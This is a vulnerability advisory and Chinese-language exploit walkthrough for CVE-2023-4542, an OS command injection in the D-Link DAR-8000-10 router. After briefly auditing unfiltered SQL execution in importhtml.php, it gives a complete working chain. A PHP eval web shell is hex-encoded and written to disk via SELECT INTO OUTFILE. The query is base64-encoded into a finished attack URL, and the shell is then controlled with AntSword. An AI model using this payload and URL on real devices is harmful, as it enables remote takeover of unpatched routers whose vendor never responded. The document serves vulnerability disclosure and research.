CVE-2023-4542
在 D-Link DAR-8000-10 中发现了一个漏洞。它已被归类为严重。这会影响文件 /app/sys1.php 的未知部分。使用输入 id 操作参数 cmd 会导致 os 命令注入。可以远程发起攻击。该漏洞已向公众披露,并可能被使用。此漏洞的相关标识符为 VDB-238047。注意:已就此披露与供应商联系,但未以任何方式回复。
A vulnerability was found in D-Link DAR-8000-10 up to 20230809. It has been classified as critical. This affects an unknown part of the file /app/sys1.php. The manipulation of the argument cmd with the input id leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238047. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
漏洞分析
我们可以得知这个设备基于Apache的和PHP4.0
根据描述漏洞存在与/app/sys1.php中,但是我们解压固件,在文件系统中并没有发现sys1.php这个文件(grep -r sys1.php),这个文件居然不存在。
事实上sys1.php确实不存在,他是执行mysql语句写入的一句话木马,在审计源码时,发现了一个可以进行sql注入的文件:importhtml.php
第5,6,7行,他通过$_GET传入三个参数,其中sql语句还进行了base64解码,这点我们去构造POC时需要注意,然后在下面执行export的各类函数,这些函数的代码在global.func.php中,我们接着审计这个global.func.php文件
在这里我们发现它直接执行了sql语句,并没有任何过滤,因此我们可以使用select content into outfile path来进行文件读写,但是要注意的是,在这里我们sql语句写文件的路径必须是绝对路径,如何确定我们的绝对路径呢?
我们在登录界面随便输入账号密码,然后点击登录,提示密码错误,并且页面跳转到default.php中
我们在去文件系统中寻找default.php,然后发现这个文件的路径是/usr/hddocs/nsg/。那样我们就可以去构造poc了
首先构造一句话木马
<?php @eval($_POST['cmd']);?>
然后把它转化为16进制
0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e
然后构造 sql语句
select 0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e into outfile '/usr/hddocs/nsg/sys1.php'
再将其base64编码
c2VsZWN0IDB4M2MzZjcwNjg3MDIwNDA2NTc2NjE2YzI4MjQ1ZjUwNGY1MzU0NWIyNzYzNmQ2NDI3NWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9zeXMxLnBocCc=
最后构造完整的URL
https://ip:port/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNDA2NTc2NjE2YzI4MjQ1ZjUwNGY1MzU0NWIyNzYzNmQ2NDI3NWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9zeXMxLnBocCc=
访问URL之后我们去访问sys1.php
发现没有报404错误,说明php已经被写进去了,现在我们使用蚁剑连接
然后使用蚁剑的虚拟终端,攻击成功